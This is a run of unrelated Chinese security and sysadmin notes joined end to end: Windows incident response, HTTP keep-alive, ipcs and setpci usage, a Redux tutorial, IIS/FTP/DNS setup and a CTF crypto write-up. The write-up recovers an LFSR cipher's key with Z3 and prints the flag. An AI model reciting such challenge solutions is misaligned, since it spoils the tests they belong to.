https://github.com/GDSSecurity/Windows-Exploit-Suggester/ ## 后门排查 PC Hunter是一个Windows系统信息查看软件 http://www.xuetr.com/ 功能列表如下: 1. 进程、线程、进程模块、进程窗口、进程内存信息查看,杀进程、杀线程、卸载模块等功能 2. 内核驱动模块查看,支持内核驱动模块的内存拷贝 3. SSDT、Shadow SSDT、FSD、KBD、TCPIP、Classpnp、Atapi、Acpi、SCSI、IDT、GDT信息查看,并能检测和恢复ssdt hook和inline hook 4. CreateProcess、CreateThread、LoadImage、CmpCallback、BugCheckCallback、Shutdown、Lego等Notify Routine信息查看,并支持对这些Notify Routine的删除 5. 端口信息查看,目前不支持2000系统 6. 查看消息钩子 7. 内核模块的iat、eat、inline hook、patches检测和恢复 8. 磁盘、卷、键盘、网络层等过滤驱动检测,并支持删除 9. 注册表编辑 10. 进程iat、eat、inline hook、patches检测和恢复 11. 文件系统查看,支持基本的文件操作 12. 查看(编辑)IE插件、SPI、启动项、服务、Host文件、映像劫持、文件关联、系统防火墙规则、IME 13. ObjectType Hook检测和恢复 14. DPC定时器检测和删除 15. MBR Rootkit检测和修复 16. 内核对象劫持检测 17. WorkerThread枚举 18. Ndis中一些回调信息枚举 19. 硬件调试寄存器、调试相关API检测 20. 枚举SFilter/Fltmgr的回调 PS:最简单的使用方法,根据颜色去辨识——**可疑进程,隐藏服务、被挂钩函数:红色**,然后根据程序右键功能去定位具体的程序和移除功能。根据可疑的进程名等进行互联网信息检索然后统一清除并关联注册表。 ![](../pictures/windowsintrude4.png) ## Webshell 排查 可以使用hm ![](../pictures/windowsintrude5.png) ![](../pictures/windowsintrude6.png) 也可以使用盾类(D盾、暗组盾),如果可以把web目录导出,可以在自己虚拟机进行分析 ## 日志分析 打开事件管理器(开始—管理工具—事件查看/开始运行eventvwr) 主要分析安全日志,可以借助自带的筛选功能 ![](../pictures/windowsintrude7.png) ![](../pictures/windowsintrude8.png) ![](../pictures/windowsintrude9.png) 可以把日志导出为文本格式,然后使用notepad++ 打开,使用正则模式去匹配远程登录过的IP地址,在界定事件日期范围的基础,可以提高效率正则是:`((?:(?:25[0-5]|2[0-4]\d|((1\d{2})|([1-9]?\d))).){3}(?:25[0-5]|2[0-4]\d|((1\d{2})|([1-9]?\d))))` ![](../pictures/windowsintrude10.png) 强大的日志分析工具[Log Parser](https://www.microsoft.com/en-us/download/confirmation.aspx?id=24659) ![](../pictures/windowsintrude11.png) ### 分析IIS日志 `LogParser.exe "select top 10 time, c-ip,cs-uri-stem, sc-status, time-taken from C:\Users\sm0nk\Desktop\iis.log" -o:datagrid ` ![](../pictures/windowsintrude12.png) ![](../pictures/windowsintrude13.png) 有了这些我们就可以对windows日志进行分析了。比如我们分析域控日志的时候,想要查询账户登陆过程中,用户正确,密码错误的情况,我们需要统计出源IP,时间,用户名时,我们可以这么写(当然也可以结合一些统计函数,分组统计等等): `LogParser.exe -i:EVT "SELECT TimeGenerated,EXTRACT\_TOKEN(Strings,0,'|') AS USERNAME,EXTRACT\_TOKEN(Strings,2,'|') AS SERVICE\_NAME,EXTRACT\_TOKEN(Strings,5,'|') AS Client_IP FROM 'e:\logparser\xx.evtx' WHERE EventID=675"` ![](../pictures/windowsintrude14.png) 事件ID是很好的索引 Windows server 2008系列参考event ID: 4624 - 帐户已成功登录 4625 - 帐户登录失败 4648 - 试图使用明确的凭证登录(例如远程桌面) ## 相关处置 通过网络连接锁定的可疑进程,进行定位恶意程序后删除(taskkill) 木马查杀,可配合pchunter 进行进一步专业分析,使用工具功能进行强制停止以及删除 最后清理后,统一查看网络连接、进程、内核钩子等是否正常。 ## Reference
sec-knowleage
# Connection --- **Connection 的作用** 此 header 的 含义是当 client 和 server 通信时对于长链接如何进行处理。 **Connection: close 的作用** 有的网站会在服务器运行一段时间后 down 掉,有很多原因可能造成这种现象:比如 tomcat 堆和非堆内存设置不足,程序没能释放内存空间造成内存溢出,或者某些进程一直运行没能释放,造成 cup 资源大量消耗。 但除了程序本身的原因,还有可能是客服端访问造成(当然这个客户端也包含如蜘蛛软件等搜索引擎),如果服务器和客户端建立的是长链接 (可以用 "netstat -a" 命令查看网络访问信息),这就需要对 http 响应头的 connection 做一定的设置。 **Connection: keep-alive 的作用** 如果你用过 Mysql,应该知道 Mysql 的连接属性中有一个与 KeepAlive 类似的 Persistent Connection,即:长连接 (PConnect)。该属性打开的话,可以使一次 TCP 连接为同一用户的多次请求服务,提高了响应速度。 **Connection: close 和 keep-alive 的区别** KeepAlive=On 时,每次用户访问,打开一个 TCP 连接,Apache 都会保持该连接一段时间,以便该连接能连续为同一 client 服务,在 KeepAliveTimeOut 还没到期并且 MaxKeepAliveRequests 还没到阈值之前,Apache 必然要有一个 httpd 进程来维持该连接,httpd 进程不是廉价的,他要消耗内存和 CPU 时间片的。假如当前 Apache 每秒响应 100 个用户访问,KeepAliveTimeOut=5,此时 httpd 进程数就是 100x5=500 个 (prefork 模式),一个 httpd 进程消耗 5M 内存的话,就是 500x5M=2500M=2.5G,夸张吧?当然,Apache 与 Client 只进行了 100 次 TCP 连接。如果你的内存够大,系统负载不会太高,如果你的内存小于 2.5G,就会用到 Swap,频繁的 Swap 切换会加重 CPU 的 Load。 现在我们关掉 KeepAlive ,Apache 仍然每秒响应 100 个用户访问,因为我们将图片、js、css 等分离出去了,每次访问只有 1 个 request,此时 httpd 的进程数是 100x1=100 个,使用内存 100x5M=500M,此时 Apache 与 Client 也是进行了 100 次 TCP 连接。性能却提升了太多。 **如何选择** 当你的 Server 内存充足时,KeepAlive =On 还是 Off 对系统性能影响不大。 当你的 Server 上静态网页 (Html、图片、Css、Js) 居多时,建议打开 KeepAlive。 当你的 Server 多为动态请求(因为连接数据库,对文件系统访问较多),KeepAlive 关掉,会节省一定的内存,节省的内存正好可以作为文件系统的 Cache(vmstat 命令中 cache 一列),降低 I/O 压力。 当 KeepAlive=On 时,KeepAliveTimeOut 的设置其实也是一个问题,设置的过短,会导致 Apache 频繁建立连接,给 Cpu 造成压力,设置的过长,系统中就会堆积无用的 Http 连接,消耗掉大量内存,具体设置多少,可以进行不断的调节,因你的网站浏览和服务器配置而异。 --- ## Source & Reference - [Connection: close和keep-alive之间的区别](https://developer.aliyun.com/article/277977) - [关于设置http响应头connection的作用](https://blog.csdn.net/minghaitang/article/details/83567259)
sec-knowleage
ipcs === 分析消息队列共享内存和信号量 ## 补充说明 **ipcs命令** 用于报告Linux中进程间通信设施的状态,显示的信息包括消息列表、共享内存和信号量的信息。 ### 语法 ```shell ipcs(选项) ``` ### 选项 #### 资源选项 ```shell -a, --all 显示全部(默认值) -q, --queues 消息队列 -m, --shmems 共享内存 -s, --semaphores 信号量 ``` #### 输出选项 ```shell -t, --time 显示最后一次操作时间 -p, --pid 显示创建者和最后一次操作者的PID -c, --creator 显示创建者和拥有者的 userid, groupid -l, --limits 显示对资源的限制 -u, --summary 显示当前状态摘要 --human 以友好的方式显示大小(eg: 500K) -b, --bytes 以字节为单位显示大小(仅影响`-l`选项) ``` #### 通用选项 ```shell -i, --id <id> 显示指定ID的资源 -h, --help 显示帮助文档并退出 -V, --version 显示版本信息并退出 ``` ### 实例 ```shell ipcs -a ------ Shared Memory Segments -------- key shmid owner perms bytes nattch status 0x7401833d 2654208 root 600 4 0 0x00000000 3145729 root 600 4194304 9 dest 0x7401833c 2621442 root 600 4 0 0xd201012b 3080195 root 600 1720 2 ``` ### 相关命令 * `ipcrm`: 删除 IPC 资源 * `ipcmk`: 创建 IPC 资源
sec-knowleage
setpci === 查询和配置PCI设备的使用工具 ## 补充说明 **setpci命令** 是一个查询和配置PCI设备的使用工具。 ### 语法 ```shell setpci(选项)(参数) ``` ### 选项 ```shell -v:显示指令执行的细节信息; -f:当没有任何操作需要完成时,不显示任何信息; -D:测试模式,并不真正将配置信息写入寄存器; -d:仅显示给定厂商和设备的信息; -s:仅显示指定总线、插槽上的设备或设备上的功能块信息。 ``` ### 参数 * PCI设备:指定要配置的PCI设备; * 操作:指定要完成的配置操作。 ### 实例 Linux下调节笔记本屏幕亮度方法: 首先进入终端输入lspci命令,列出各种设备的地址: ```shell lspci 00:00.0 host bridge: Intel Corporation Mobile 945GM/PM/GMS, 943/940GML and 945GT Express Memory Controller Hub (rev 03) 00:02.0 VGA compatible controller: Intel Corporation Mobile 945GM/GMS, 943/940GML Express Integrated Graphics Controller (rev 03) 00:02.1 Display controller: Intel Corporation Mobile 945GM/GMS/GME, 943/940GML Express Integrated Graphics Controller (rev 03) 00:1b.0 Audio device: Intel Corporation N10/ICH 7 Family High Definition Audio Controller (rev 02) 00:1c.0 PCI bridge: Intel Corporation N10/ICH 7 Family PCI Express Port 1 (rev 02) 00:1c.1 PCI bridge: Intel Corporation N10/ICH 7 Family PCI Express Port 2 (rev 02) ...... ``` 发现00:02.0是VGA设备,于是我们修改它的属性: ```shell sudo setpci -s 00:02.0 F4.B=FF ``` 解释一下: * **setpci** 是修改设备属性的命令。 * **-s** 表示接下来输入的是设备的地址。 * **00:02.0** VGA设备地址(<总线>:<接口>.<功能>)。 * **F4** 要修改的属性的地址,这里应该表示“亮度”。 * **.B** 修改的长度(B应该是字节(Byte),还有w(应该是Word,两个字节)、L(应该是Long,4个字节))。 * **=FF** 要修改的值(可以改)。 我这里00是最暗,FF是最亮,不同的电脑可能不一样。比如说我嫌FF太闪眼了,我就可以: ```shell sudo setpci -s 00:02.0 F4.B=CC ```
sec-knowleage
# Redux在React中快速应用 ## 第一步 装包 在项目文件夹下,用`npm`安装 redux和react-redux插件 ```npm npm i redux react-redux -S ``` ## 第二步 Redux的使用 ### Reducer **第一步** 创建 reducers 文件夹 > 在数据比较复杂的情况下将 Reducer 拆分为独立的函数或文件 因为我们需要两个数据所以这里我们 将Reducer拆分。 首先在项目文件夹的`src`中创建`reducers`文件夹 ``` [项目文件夹] -> src -> reducers ``` **第二步** 在`reducers`写入 comment 的`State`和`Action` 在 reducer 文件夹内创建 comment.js文件 ``` reducers -> comment.js ``` 在comment.js内写入 state 数据 ```js let comments = [ { content: '多好的一呀', postId: '1' }, { content: '真是不错', postId: '1' }, { content: '多好的二呀', postId: '2' } ] ``` 再写入 Reducer 函数 ```js export default function commentReducer(state = comments, action) { //将state指向comment switch (action.type) { case 'ADD_COMMENT': //action函数的type return [...state ,{ postId: action.postId, content: action.comment }] //返回一个新的 state 数组 default: return state; //如果出错返回 旧的 state } } ``` **第三步** 创建 post 的 Reducer 函数 创建 `post.js` 文件,写入 Reducer 函数 ```js let posts = [ { postId: '1', likes: 1, title: 'Git 技巧' }, { postId: '2', likes: 2, title: '学习 Redux' } ] export default function postReducer(state = posts, action) { switch (action.type) { case 'INCREMENT_LIKE': let stateCopy = state.slice() //拷贝 state 数据 stateCopy.map(item => { if(item.postId === action.postId){ item.likes++ return item } return item }) //实现liskes的 ++ return stateCopy //返回新的 state default: return state } } ``` **第四步** 将独立的 Reducer 合成 在 Reducers 文件夹下 创建 index.js 文件 ``` reducers -> index.js ``` 利用 combineReducers 函数将单个的 Reducer 合成到 rootReducer 里 ```js import { combineReducers } from 'redux' //导入 redux 的 combineReducers 函数 import commentReducer from './comment' //导入 commentReducer import postReducer from './post' //导入 commentReducer const rootReducer = combineReducers({ comments: commentReducer, posts: postReducer }) //利用 combineReducers 合成 Reducer 到 rootReducer 中 export default rootReducer //默认导出 rootReducer ``` **第五步** 创建 Redux store 在 src 文件夹下创建 store.js 文件 ``` [项目文件夹] -> src -> store.js ``` 创建 store 状态树 ```js import { createStore } from 'redux'; //导入 redux 的 createStore 函数 import rootReducer from './reducers/' //导入 reducer //利用 createStore 函数创建 Redux store let store = createStore(rootReducer) //给 createStore 传入 reducer 参数 export default store //默认导出 store ``` **第六步** 给组件注入 store 中的 state 数据 在入口文件中利用 react-redux 的`<Provider>`组件导入 store ```js import React, { Component } from 'react' import store from './store' //导入store import { Provider } from 'react-redux' //导入 react-redux 的 Provider 组件 import HomePage from './HomePage' import PostPage from './PostPage' import './App.css' import { BrowserRouter as Router, Route, Switch, Link } from 'react-router-dom' const Header = () => ( <Link to="/" className="back-home">首页</Link> ) class App extends Component { render() { return ( <Provider store={store}> //将组件用Provider插件包裹 将 store 传入 <Router> <div> <Header /> <Switch> <Route exact path="/" component={HomePage} /> <Route path="/post/:id" component={PostPage} /> </Switch> </div> </Router> </Provider> ) } } export default App; ``` ### 拿取到 store 中的数据 利用 React-Redux 的 connect 拿到 store 中数据 ```js import React, { Component } from 'react' import { connect } from 'react-redux' //导入 connect 组件 class PostBody extends Component { render() { return ( <div> {this.props.comments.length} //通过 this.props 拿到需要的数据 </div> ) } } //声明一个 mapStateToProps 函数拿到需要的数据 const mapStateToProps = (state) => ({ comments: state.comments //名称:拿到 state.comments 数据 }) //将 mapStateToProps 作为 connect 的一个参数传入 export default connect(mapStateToProps)(PostBody) //用connect导出 PostBody组件 ``` ### 操作 state 数据 > store 中的数据不能直接修改,需要拷贝一个新数据进行修改 这里我们使用`dispatch()`调用 Action 来进行对数据的操作 ```js import React, { Component } from 'react' import { connect } from 'react-redux' import store from './store' import { Link } from 'react-router-dom' class PostBody extends Component { like = () => { store.dispatch({ type: 'INCREMENT_LIKE', postId: this.props.postId }) //通过type来确定action调用的方法 //通过postId来进行修改数据 } render() { let { postId, posts } = this.props let currentPost = posts.filter(value => value.postId === postId )[0] return ( <div className="post-body"> <Link to={`/post/${postId}`} className="title"> {currentPost.title} </Link> <div onClick={this.like} className="likes-num num"> {currentPost.likes} 赞 </div> <div className="comment-num num"> {this.props.comments.length} 评论 </div> </div> ); } } const mapStateToProps = (state) => ({ comments: state.comments, posts: state.posts }) export default connect(mapStateToProps)(PostBody) ``` 这样一个完整的利用 React+Redux 的项目就成功创建 ### 参考 - 项目地址:[点击进入](https://l552177239.github.io/react-redux) - Github:[点击进入](https://github.com/l552177239/react-redux)
sec-knowleage
# Eva’s chance (crypto 150) ## ENG [PL](#pl-version) We get [cipher code](encryptor.c), [encrypted message](message.txt), and we know that plaintext starts with `Hello, Alice!`. We're really only interested in the part: ```c void encrypt(uint8_t * buffer, uint32_t lfsr, uint32_t poly, unsigned int length) { for(uint32_t i = 0; i != length; i++) { for(uint8_t j = 7;; j--) { unsigned char lsb = lfsr & 1; buffer[i] ^= lsb<<j; lfsr >>= 1; if (lsb) lfsr ^= poly; if (j == 0) break; } } } ``` For each byte of the message we xor `i`-th bit of `lfsr` with `7-i`-th bit of the message byte. Along the encryption the value of `lfsr` is being shifted right, and each time we use bit `1` we xor `lfsr` with `poly` value. It's worth noting that this function is both encrypt and decrypt, because for identical input values `lfsr` and `poly` we will xor with exactly the same bit values, and therefore it will invert itself. Seems a bit complicated, but we know some initial bytes of plaintext, so we can easily recover the first bits we were xoring with. So we know the `lsb` values for those initial bytes. This also means we know when `lfsr ^= poly` was done. Working with this by hand would be tedious, so we decided to pass this to Z3. We simply re-write the encrypt function: ```python lfsr = z3.BitVec('x', 32) x = lfsr poly = z3.BitVec('y', 32) y = poly s = Solver() for i in range(len(known_plaintext_part)): for j in range(7, -1, -1): lsb = ((ord(known_plaintext_part[i]) ^ ord(ciphertext[i])) & (1 << j)) >> j s.add(lfsr & 1 == lsb) lfsr = LShR(lfsr, 1) if lsb: lfsr ^= poly print(s.check()) return int(str(s.model()[x])), int(str(s.model()[y])) ``` We proceed with the function recovering the `lsb` values for known plaintext part and we extend the constraints for our parameters. We spent additional hour debugging this because of `lfsr =>> 1` and `LShR(lfsr, 1)`. It seems Z3 treats `>>` as `signed` operation even for bit vectors and we have to force using `LShR` (logical shift right) to get what we wanted. From the solver we get the parameters values: `(2463678191, 464384013)` Whole solver [here](eve.py) With decrypted data we get the flag: `h4ck1t{madskillz_crypt0}` ## PL version W zadaniu dostajemy [kod szyfrowania](encryptor.c), [szyfrogram](message.txt) i wiemy że plaintext zaczyna się od `Hello, Alice!`. Jedyna interesująca część to: ```c void encrypt(uint8_t * buffer, uint32_t lfsr, uint32_t poly, unsigned int length) { for(uint32_t i = 0; i != length; i++) { for(uint8_t j = 7;; j--) { unsigned char lsb = lfsr & 1; buffer[i] ^= lsb<<j; lfsr >>= 1; if (lsb) lfsr ^= poly; if (j == 0) break; } } } ``` Dla każdego bajtu wiadomości xorujemy `i`-ty bit zmiennej `lfsr` z `7-i`-tym bitem bajtu wiadomości. W trakcie działania szyfrowania wartość zmiennej `lfsr` jest przeuswana o kolejne bity w prawo a za każdym razem gdy użyjemy bitu `1` xorujemy wartość `lfsr` z `poly`. Warto zauważyć, że podana funkcja jest zarówno szyfrowaniem jak i deszyfrowaniem, bo dla takich samych wartości `lfsr` i `poly` będziemy xorować z takimi samymi wartościami bitów, więc szyfr sam się odwróci. Wydaje się to dość złożone, ale znamy pierwsze bajty plaintextu, więc możemy łatwo odzyskać wartości bitów `lsb` z którymi xorowano wiadomość. Wiemy też oczywiście kiedy następowały operacje `lfsr ^= poly`. Odwracanie tego ręcznie byłoby dość żmudne, więc korzystamy tu z Z3. Przepisaliśmy po prostu funkcje szyfrującą: ```python lfsr = z3.BitVec('x', 32) x = lfsr poly = z3.BitVec('y', 32) y = poly s = Solver() for i in range(len(known_plaintext_part)): for j in range(7, -1, -1): lsb = ((ord(known_plaintext_part[i]) ^ ord(ciphertext[i])) & (1 << j)) >> j s.add(lfsr & 1 == lsb) lfsr = LShR(lfsr, 1) if lsb: lfsr ^= poly print(s.check()) return int(str(s.model()[x])), int(str(s.model()[y])) ``` Odzyskujemy znane wartości `lsb` dla znanego plaintextu i dodajemy te informacje jako ograniczenia na parametry. Spędziliśmy dodatkową godzinę debugując skrypt przez `lfsr =>> 1` i `LShR(lfsr, 1)` Okazuje się że dla Z3 `>>` to operacja `signed` nawet dla bit vectorów i musimy wymusić użycie funkcji `LShR` (logical shift right) żeby dostać to czego się spodziewaliśmy. Solver odzyskuje dla nas wartości: `(2463678191, 464384013)` Cały kod [tutaj](eve.py) Uruchamiamy funkcje szyfrującą/deszyfrujacą z powyższymi parametrami i dostajemy: `h4ck1t{madskillz_crypt0}`
sec-knowleage
# Windows 基础服务搭建 --- ## 磁盘管理 **例1** 1. 新建两个 10G 的硬盘,名称为 A-10-1、A-10-2,挂载到主机; 2. 新建镜像卷,使用所有空间,驱动器号为 D. ```markdown 1. 开始——管理工具——计算机管理——存储——磁盘管理 2. 把新建的磁盘 1 和 2 联机初始化 3. 右键磁盘 1——建立镜像卷——指定2个磁盘——分配盘符——一路下一步 ``` **例2** 1. 新建一个 10G 的硬盘,名称为 A-10-1,挂载到主机; 2. 将该硬盘做如下配置:配置为动态磁盘,并创建一个普通卷,大小为 10G,文件系统为 NTFS,驱动器号为 D. ```markdown 1. 开始——管理工具——计算机管理——存储——磁盘管理 2. 把新建的磁盘 1 联机初始化 3. 右键磁盘 1——转换成动态磁盘——新建简单卷——分配盘符——一路下一步 ``` **例3** 1. 新建三个 10G 的硬盘,名称为 A-10-1、A-10-2、A-10-3,挂载到主机; 2. 新建 RAID-5 卷,使用所有空间,驱动器号为 D. ```markdown 1. 开始——管理工具——计算机管理——存储——磁盘管理 2. 把新建的磁盘 1、2、3 联机初始化 3. 右键磁盘 1——建立 RAID-5 卷——指定 3 个磁盘——分配盘符——一路下一步 ``` --- ## DNS **例1** 1. 配置 abc.com 域的从 DNS 服务,主 DNS 为本机. 2. 配置 0.16.172 反向域的从 DNS 服务,主 DNS 为本机. ```markdown 1. 服务器管理器——添加角色——DNS 服务器 2. 服务器管理器——角色——DNS 服务器 3. 正向查找区域——新建区域——辅助区域——abc.com——输入本机的 IP 4. 反向查找区域——新建区域——辅助区域——172.16.0——输入本机的 IP ``` **例2** 1. 将 ftp.abc.com 解析至本机 IP; 2. 将 www.abc.com 解析至本机 IP; 3. 建立反向简析区域完成 ftp.abc.com,www.abc.com,域名的反向解析; 4. 允许本机对 192.168.XX+1.33 的 ip 进行区域传送. ```markdown 1. 服务器管理器——添加角色——DNS 服务器 2. 服务器管理器——角色——DNS 服务器 3. 正向查找区域——新建区域——主要区域——abc.com——一路下一步 4. abc.com——新建主机——略 (记得勾选"创建相关的指针记录") 5. 反向查找区域——新建区域——主要区域——172.16.0——一路下一步 6. abc.com——属性——区域传输——允许-只允许到下列服务器——192.168.XX+1.33 7. 0.16.172.in-addr.arpa——属性——区域传输——允许-只允许到下列服务器——192.168.XX+1.33 ``` **例3** 1. 在 Windows 2008 R2 的 DNS 服务管理工具中添加四条主机记录,实现 vpn.abc.com,www.abc.com,web.abc.com,ftp.abc.com 域名的解析 (解析至 HTTP 服务虚机 IP) .并用 nslookup 验证; 2. 建立反向简析区域完成 vpn.abc.com,www.abc.com,web.abc.com,ftp.abc.com 域名的反向解析,并用 nslookup 验证; 同上,略 --- ## FTP **例1** 1. FTP 站点名称为 abcftp,物理路径为 D:\ftpdata; 2. 允许匿名用户和普通用户 tom 登录,匿名用户对主目录只有读权限,tom 对主目录有读写权限,禁止上传 exe 后缀的文件; 3. 设置 FTP 最大客户端连接数为 100,设置无任何操作的超时时间为5分钟,设置数据连接的超时时间为1分钟. ```markdown 1. 开始——管理工具——计算机管理——系统工具——本地用户和组——用户——新用户——tom 2. 服务器管理器——添加角色——web 服务器——ftp 服务器 3. 服务器管理器——角色——web 服务器——IIS 管理器——网站——添加 FTP 站点——指定名称,路径——指定IP地址—身份验证选择匿名和基本,授权选所有用户读取 4. abcftp——FTP 授权规则——添加允许规则——指定用户 tom——写入 5. abcftp——FTP 请求筛选——拒绝文件扩展名——exe 6. abcftp——高级设置——最大连接数100——控制通道超时 300——数据通道超时 60 ``` **例2** 1. 安装 FTP 服务,新建一个 FTP 站点,主目录为 C:\ftproot,通过适当技术实现用户 soft1 与 soft2 通过匿名方式登录 FTP 站点时,只能浏览到"Public"子目录中的内容,若用个人账号登录 FTP 站点,则只能访问自己的子文件夹; 2. 设置 FTP 最大客户端连接数为 100.设置无任何操作的超时时间为5分钟,设置数据连接的超时时间为1分钟; ```markdown 1. 开始——管理工具——计算机管理——系统工具——本地用户和组——用户——新用户——soft1 2. 新用户——soft2 3. 服务器管理器——添加角色——web 服务器——ftp 服务器 4. 服务器管理器——角色——web 服务器——IIS 管理器——网站——添加FTP站点——指定名称,路径——指定 IP 地址—身份验证选择匿名和基本,授权选所有用户读取 5. FTP 站点——添加虚拟目录——public、soft1、soft2 6. FTP 站点——public——FTP 授权规则——删除默认加上去的允许所有用户——读取 7. FTP 站点——public——FTP 授权规则——添加允许规则——所有匿名用户——读取 8. FTP 站点——soft1——FTP 授权规则——删除默认加上去的允许所有用户——读取 9. FTP 站点——soft1——FTP 授权规则——添加允许规则——soft1——读取 10. FTP 站点——soft2——FTP 授权规则——删除默认加上去的允许所有用户——读取 11. FTP 站点——soft2——FTP 授权规则——添加允许规则——soft2——读取 12. FTP 站点——高级设置——最大连接数 100——控制通道超时 300——数据通道超时 60 ``` **例3** 1. FTP 需求说明 - 允许程序员 tom 通过 ftp 更新网站; - 允许程序员 jack 通过 ftp 更新平台; - 创建一个销售账户 sale,用于通过 FTP 下载产品说明书. 2. FTP服务的配置 - 创建三个用户 tom、jack 和 sale,密码均为 123456 - 创建 FTP 站点,具体要求如下 - 设置 FTP 主目录为:D:\web\; - 设置 FTP 主目录权限为:只允许 tom、jack、sale 和 administrator 用户访问 FTP,但不允许对FTP根目录内容进行修改; - 设置目录 D:\web\cii_web的访问权限为: - 仅允许用户 tom 和 administrator 读取和写入 - 设置目录 D:\web\cloud 的访问权限为: - 仅允许用户jack和administrator 读取和写入 - 创建目录 D:\web\sale,并设置其访问权限为: - 仅允许用户sale和administrator 读取和写入 ```markdown 1. 开始——管理工具——计算机管理——系统工具——本地用户和组——用户——新用户——tom 2. 新用户——jack 3. 新用户——sale 4. 服务器管理器——添加角色——web 服务器——ftp 服务器 5. 服务器管理器——角色——web 服务器——IIS 管理器——网站——添加 FTP 站点——指定名称,路径——指定 IP 地址—身份验证选择基本,授权选所有用户读取 6. FTP 站点——添加虚拟目录——cii_web、cloud、sale 7. FTP 站点——cii_web——FTP 授权规则——删除默认加上去的允许所有用户——读取 8. FTP 站点——cii_web——FTP 授权规则——添加允许规则——tom——读取 9. FTP 站点——cii_web——FTP 授权规则——添加允许规则——administrator——读取 10. FTP 站点——cloud——FTP 授权规则——删除默认加上去的允许所有用户——读取 11. FTP 站点——cloud——FTP 授权规则——添加允许规则——jack——读取 12. FTP 站点——cloud——FTP 授权规则——添加允许规则——administrator——读取 13. FTP 站点——sale——FTP 授权规则——删除默认加上去的允许所有用户——读取 14. FTP 站点——sale——FTP 授权规则——添加允许规则——sale——读取 15. FTP 站点——sale——FTP 授权规则——添加允许规则——administrator——读取 ``` --- ## web服务 **例1** - 站点名称为 abc.com - 在 D:\webdata 文件夹内中创建名称为 index.html 的主页,主页显示内容"fubuki!fubuki!fubuki!" - 配置站点 https 功能 - 设置网站的最大连接数为 1000,网站链接超时为 60s,网站的带宽为 1000kB/s - 使用 W3C 记录日志;每天创建一个新的日志文件,使用当地时间作为日志文件名 ```markdown 1. 服务器管理器——添加角色——web 服务器 2. 服务器管理器——角色——web 服务器——IIS 管理器——网站——添加网站——指定名称和路径,http,IP 地址 3. 在 linux 中用 openssl 生成 pfx 证书文件,搞到win2008里来(自己想办法,步骤略) 4. 点击 IIS 管理器——WIN-xxxxxxxxxx主页(类似的那个东西)——服务器证书——右键导入 pfx 证书 5. abc.com——绑定——添加——https——选择导入的证书——无视报错信息——重启服务测试 6. abc.com——高级设置——最大并发连接数 1000——连接超时 60——最大带宽 1000000 7. abc.com——日志——勾选使用本地时间进行文件命名和滚动更新 ``` **例2** 1. 安装 IIS 组件,创建 www.abc.com 站点,在 C:\MyShare 文件夹内中创建名称为 abc.html 的主页,主页显示内容"fubuki!fubuki!fubuki!"; 2. 设置网站的最大连接数为1000,网站链接超时为60s,网站的带宽为 1000kB/s,使用 W3C 记录日志;每天创建一个新的日志文件,使用当地时间作为日志文件名;日志只允许记录日期、时间、客户端 IP 地址、用户名、服务器 IP 地址、服务器端口号和方法; ```markdown 1. 服务器管理器——添加角色——web 服务器 2. 服务器管理器——角色——web 服务器——IIS 管理器——网站——添加网站——指定名称和路径,http,IP 地址 3. www.abc.com——高级设置——最大并发连接数 1000——连接超时 60——最大带宽 1000000 4. www.abc.com——日志——选择字段——需要的勾不需要的不勾 5. www.abc.com——日志——勾选使用本地时间进行文件命名和滚动更新 ``` **例3** 1. 安装 IIS 组件,创建 www.abc.com 站点,在 C:\MyShare 文件夹内中创建名称为 abc.html 的主页,主页显示内容"fubuki!fubuki!fubuki!",同时只允许使用 SSL 且只能采用域名方式进行访问; 2. 设置网站的最大连接数为 800,网站链接超时为 30s,网站的带宽为 2048kB/s,使用 W3C 记录日志;每天创建一个新的日志文件,使用当地时间作为日志文件名;日志只允许记录日期、时间、客户端 IP 地址、用户名、服务器 IP 地址、服务器端口号和方法; ```markdown 1. 服务器管理器——添加角色——web 服务器 2. 服务器管理器——角色——web 服务器——IIS 管理器——网站——添加网站——指定名称和路径,http,IP 地址 3. 在 linux 中用 openssl 生成 pfx 证书文件,搞到 win2008 里来(自己想办法,步骤略) 4. 点击 IIS 管理器——WIN-xxxxxxxxxx 主页(类似的那个东西)——服务器证书——右键导入 pfx 证书 5. www.abc.com——绑定——添加——https——选择导入的证书——无视报错信息——重启服务测试 6. www.abc.com——SSL 设置——要求 SSL——接受 7. www.abc.com——高级设置——最大并发连接数800——连接超时 30——最大带宽 2048000 8. www.abc.com——日志——选择字段——需要的勾不需要的不勾 9. www.abc.com——日志——勾选使用本地时间进行文件命名和滚动更新 ``` --- ## CA证书 **例1** 1. 提供 Web 注册方式,可接受 CSR (证书请求文件) 并签发证书; 2. 加密服务提供程序为"RSA##Microsoft Software Key Storage Providew",密钥字符长度为"2048"; 3. 颁发的签名证书的哈希算法为"SHA256"; 4. CA 证书名称:ca.abc.com; 5. 为 Linux 主机的 web 服务提供证书,颁发的证书命名为 httpd.crt. ```markdown 1. linux 生成 csr 文件传过来 2. 自己安装 AD 证书服务,详见 https://www.cnblogs.com/zhongweiv/archive/2013/01/07/https.html 3. 访问 localhost/certsrv——申请证书——高级证书申请—— 使用 base64 编码的 CMC 或 PKCS ##10 文件提交 一个证书申请,或使用 base64 编码的 PKCS ##7 文件续订证书申请——将csr文件的内容粘贴,选择提交 4. 服务器管理器——角色——AD证书服务——ca.abc.com——挂起的申请——颁发 5. 访问 localhost/certsrv——查看挂起的证书申请的状态——basic64 编码——下载证书 6. 后缀 cer 改为 crt 7. 把 crt 证书传给 linux ``` --- ## Windows server Backup **例1** 1. 配置安装 Windows server Backup 服务,新建备份计划备份路径为 c:\windows\system32\dns. 备份时间为每日 13 点和 0 点.备份到 目标卷 D; ```markdown 1. 服务器管理器——添加功能——Windows server Backup 2. 服务器管理器——存储——Windows server Backup 3. 备份计划——自定义——选择文件夹——指定好时间——备份到专用于备份的硬盘——选择D盘 ``` **例2** 1. 安装 Windows server Backup 服务,新建备份计划,备份路径为 C:\ MyShare. 备份时间为每日15点,备份目标为另一台机器的 C:\backup\website,备份传输链路为第二张网卡. ```markdown 1. 服务器管理器——添加功能——Windows server Backup 2. 服务器管理器——存储——Windows server Backup 3. 备份计划——自定义——选择文件夹——指定好时间——备份到共享网络文件夹——路径为:\\公网IP\\backup\website ``` **例3** 1. 挂载一个硬盘,具体要求如下: 2. 将该硬盘做如下配置:配置为动态磁盘,并创建一个普通卷,文件系统为 NTFS,驱动器号为 D. 3. 备份目录:D:\Backup\Cloud ```markdown 1. 服务器管理器——添加功能——Windows server Backup 2. 服务器管理器——存储——Windows server Backup 3. 备份计划——自定义——选择文件夹——高级设置——排除——添加排除——选择文件夹——.temp——指定好时间——备份到共享网络文件夹——路径为:\\IP\Backup\Cloud 4. 配置性能设置——本地磁盘D——增量备份 ``` --- ## 安全策略 